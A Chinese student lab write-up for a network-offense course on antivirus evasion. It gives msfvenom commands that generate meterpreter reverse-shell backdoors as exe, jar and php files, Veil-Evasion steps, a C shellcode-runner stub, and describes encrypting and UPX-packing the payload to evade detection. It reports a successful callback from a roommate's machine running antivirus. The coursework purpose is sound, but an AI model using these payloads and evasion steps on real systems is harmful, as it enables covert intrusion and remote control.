2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践

一 免杀原理与实践说明

(一)、实验说明

  • 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)

  • 任务二:通过组合应用各种技术实现恶意代码免杀(1分)

  • 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

(二)、基础问题回答

  • 问:杀软是如何检测出恶意代码的?

    • 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
    • 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
  • 问:免杀是做什么?
    • 通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。
  • 问:免杀的基本方法有哪些?
    • 改变特征码:

      • 只有exe——加壳
      • 有shellcode——利用shellcode生成可执行文件
      • 有源代码——用其他语言重写再编译
    • 改变行为:
      • 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据等。
      • 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。但是,现在微软对此似乎也有所防备。我会在下面的实验过程中详细叙述这种猜想的来源。
  • 问:开启杀软能绝对防止电脑中恶意代码吗?
    • 显然不可能,如果有这种想法无疑是掩耳盗铃。。。。

二、 使用msf编码器生成后门程序及检测

1、在《Exp2:后门原理与实践》博客中,我们生成了一个后门文件。将其放在virscan.org中进行扫描,结果如下图所示:

可以看出,70款杀软中有51款报出了病毒。原因也可想而知,Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,马上就会加到特征库里了。

2、使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.147 LPORT=5316 -f exe > met-encoded10.exe指令进行多次编码。

再使用VirusTotal进行扫描,一次迭代结果如下所示:

十次迭代结果如下所示:

仍然有52款杀软发现病毒(为啥一次还比十次少。。。。)。并没有什么卵用。多次编码之后的后门,还是会被大多数杀软发现并清理的。

三、其他形式的反弹代码

1. msfvenom生成jar文件

生成java后门程序使用命令:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 x> backdoor5316_java.jar

生成文件如下所示:

扫描结果如下:

2. msfvenom生成php文件

生成PHP后门程序使用命令:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 x> backdoor5316_zuihaode.php(可能是因为php是。。。。)

生成文件如下所示:

扫描结果如下:

想生成更多其他形式的文件可以参考学姐的博客

三、使用veil-evasion生成后门程序及检测

安装veil-evasion的时候遇到了好多麻烦事,网速贼慢,好不容易下载好了,“展开对象”执行了俩小时还没结束,去网上也搜不到相关的原因和解释,最终还是拷贝了同学的虚拟机,如果我有机会能安装好,我会补一篇安tu装cao教程的。

1、use evasion启动evail-evasion:

2、输入命令use c/meterpreter/rev_tcp.py 进入配置界面

3、设置反弹连接IP,命令为:set LHOST 192.168.1.241,注意此处的IP是KaliIP;设置端口,命令为:set LPORT 5316:

4、输入generate生成文件,接着输入你想要playload的名字:veil_c_5316

5、保存路径为/var/lib/veil/output/compiled/veil_c_5316.exe

和以前差不多,看来去年玩烂的东西今年就被查了啊。

四. 半手工注入Shellcode并执行

在《Exp2:后门原理与实践》博客中,同样介绍了生成shellcode的方法,这次我们利用生成的shellcode编写后门程序,半手工打造恶意软件。

1、首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 -f c用c语言生成一段shellcode;

2、利用shellcode编写一个C语言程序后门,在windows下编译运行后,测试其可用性:

#include <windows.h>
#include <stdio.h> //data段可读写
#pragma comment(linker, "/section:.data,RWE")
//不显示窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO") void main(){
((void(*)(void))&shellcode)();//shellcode是你生成的机器码头指针
}

不用看都能知道,直接被杀软杀掉。因为出现了shellcode,可以看出,明文shellcode见光死。

3、扫描发现,仍有很多杀软能够扫描出来:

4、此时,我的心境发生了微妙的变化,我使用了新的方法加密了shellcode,让它不以明文方式出现,下图中左边为解密出来的shellcode,右边可以看出kali已经成功获得Windows权限。(呃,这里原本有一个成功的截图,但是我看到不要放截图,就没放出来。)

5、杀软没有发现它,扫描结果仅为17%。

6、然后,我给它加了一个upx压缩壳。是没被杀出来,但是,扫描结果却没有上面乐观。

五、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

注意:由于换了网络,IP地址会发生变化,所有的程序都需要重新生成。(也有可能不会,毕竟一个宿舍一个局域网)

对舍友电脑进行免杀效果测试并回连成功(舍友的杀软为最新的360安全卫士11)

离实战还缺些什么技术或步骤?

首先,虽然程序能够不被杀软检测到,我们现在只是会一些简单的综合利用技术进行改造,但实际上病毒库时时刻刻不再更新发展,我们更需要学会多方面技术来使达到免杀的目的。

其次,但对于实战来说,恶意代码如何嵌入被攻击机中,并让被控主机运行它对我们来说还是一大问题,所以接下来要对如何伪装、吸引被供给端点击这方面进行学习。

再次,我们对于编程和计算机内部结构的了解还不够深刻,没有将知识联系起来,无法有效找出计算机的漏洞。

整体来说就是要进行信息收集、漏洞分析,然后根据漏洞构造后门,并隐藏、清理痕迹等。

2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  10. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

随机推荐

  1. vue 安装及使用

    一,  vue.js 2.0 1, cnpm install vue-cli -g 全局安装 2, 运行vue查看安装是否成功(创建vue-cli目录: vue init webpack demo) ...

  2. select应用

    服务端源码 #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @author: zengchunyun "& ...

  3. 如何将两个PDF文件合并到一个页面中

    在目前职场办公中,很多使用的文件格式是PDF文件格式,由于工作的需要,经常需要将PDF文件合并在一起,但由于PDF文件不能直接编辑修改,不能OFFICE,WPS那样,通过复制粘贴将两者合并,那如何解决 ...

  4. 报文分析3、ICMP协议的头结构

    ICMP协议的头结构 类型(8位) 代码(8位) 校验和(8位) 类型或者代码   (1)类型:一个8位类型字段,表示ICMP数据包类型. (2)代码:一个8位代码域,表示指定类型中的一个功能.如果一 ...

  5. Confluence实现附件下载权限的控制

    背景: 公司为了方便的管理过程文档,搭建了一个Confluence服务器,版本6.9.在使用过程中,需要按照用户对空间中上传的附件进行下载权限控制. 解决过程及处理方案: 一.Confluence中导 ...

  6. HBuilder打包vue项目app后空白,并请求不到数据

    (解决空白问题)在打包之前一定要修改 config 目录下的 index.js 文件中的 bulid 模块打包配置项,否则会出现空白,如图   修改前 assetsPublicPath= '/',. ...

  7. elasticsearch安装head插件

    安装Head插件 由于head插件本质上还是一个nodejs的工程,因此需要安装node,使用npm来安装依赖的包. <1>安装Node.js 下载解压 wget https://node ...

  8. ASM

    一. 磁盘阵列 RAID 5 二. STRRPE 三. LAT 四. [root@localhost ~]# fdisk /dev/sdjDevice contains neither a valid ...

  9. Freeswitch配置之sofia

    SIP模块 - mod_sofia SIP 模块是 FreeSWITCH的主要模块. 在 FreeSWITCH中,实现一些互联协议接口的模块称为 Endpoint.FreeSWITH支持很多的 End ...

  10. [ML] 数据处理

    可以不需要自己开发,使用CloudCompare的分割合并功能实现点云标注(labeling),生成点云训练集数据. (1)首先对点云中的物体进行分割,分割出一个一个的类别. (2)接着删除所有的SF ...